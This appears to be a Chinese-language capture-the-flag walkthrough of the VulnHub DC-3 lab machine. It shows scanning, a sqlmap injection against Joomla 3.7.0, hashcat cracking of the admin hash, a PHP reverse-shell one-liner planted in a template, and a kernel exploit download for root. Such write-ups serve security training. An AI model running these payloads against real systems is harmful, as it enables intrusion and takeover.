环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-3-2.zip

将靶机设置为 NAT 模式,IDE 设置为 IDE 0:0,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.129

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.129

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.129

扫描结果如下:系统只开放了一个 HTTP 服务(80 端口)

1
2
3
4
5
PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management

网站信息收集

访问该网站,提示说是只存在一个 flag 且需要提权查看,先指纹识别一下发现是 Joomla CMS

目录扫描

先扫一下目录看看有什么敏感文件泄露

1
python .\dirsearch.py -u http://192.168.52.129/

发现存在 /administrator/ 目录,访问是一个后台登陆的地方,尝试弱口令失败

使用 MSF 探测一下该 CMS 的版本,使用编号为 14 的 payload 探测版本,发现是 3.7.0 的

再查询 3.7.0 版本的漏洞,发现只有一个 sql 注入的漏洞,直接跑好像跑不出来,这里使用 sqlmap 来跑

漏洞利用

SQL 注入

这里的 paylaod 是 exploitdb 里查到的,或者网上搜也能搜到注入点

1
sqlmap -u "http://192.168.52.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

成功爆破出数据库,然后依次爆破表,字段和数据,最终命令如下:

1
sqlmap -u "http://192.168.52.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -D "joomladb" -T "#__users" -C name,password,username --dump

得到一个 admin 的账号密码,密码是 hash 加密的,需要爆破,我个人习惯是用 hashcat 爆破,先查一下 hash 加密类型

发现符合 bcrypt 的加密特征,使用 rockyou 字典进行爆破,命令如下:

1
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

爆破得到 admin 账号的密码 snoopy,尝试登陆。前台登陆进去没有功能点,后台登陆成功

利用模板写shell

发现 CMS 上好多 rce 漏洞都是利用模板或者插件的配置写反弹 shell 命令访问执行的。。。不过能对插件有写入权限还得要登陆进管理员后台

进入后台,在 Extensions -> Templates -> Templates 处有两个插件,可以选择一个查看源码并编辑,在插件根目录写一个反弹 shell 的命令,php反弹shell命令如下,命名为 shell.php 并保存

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.128/2233 0>&1'");?>

这里我选择的第一个插件 beez3,一句话木马在插件根目录写着,所以路径如下:

1
http://192.168.52.129/templates/beez3/shell.php

攻击机开启监听,然后访问木马地址,拿到 shell

权限提升

suid 没有可以利用的命令,sudo 权限不对,这里还是尝试内核提权

反弹拿到的 shell 上传文件有点小麻烦,这是还是先再写一个一句话木马用蚁剑连上,上传自动检测内核漏洞的脚本,脚本地址如下

1
https://github.com/The-Z-Labs/linux-exploit-suggester

上传到 tmp 目录下,赋予可执行权限,运行即可

1
2
3
cd /tmp
chmod 777 linux-exploit-suggester.sh
./linux-exploit-suggester.sh

发现一个完美命中的,CVE-2016-4557 漏洞

这个 kali 本地的 exploitdb 里好像没有,按照给出的下载地址下载利用文件

1
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载后解压两层进入 ebpf_mapfd_doubleput_exploit 目录,先运行 compile.sh 文件自动编译 doubleput.c 文件,再执行编译后的文件实现提权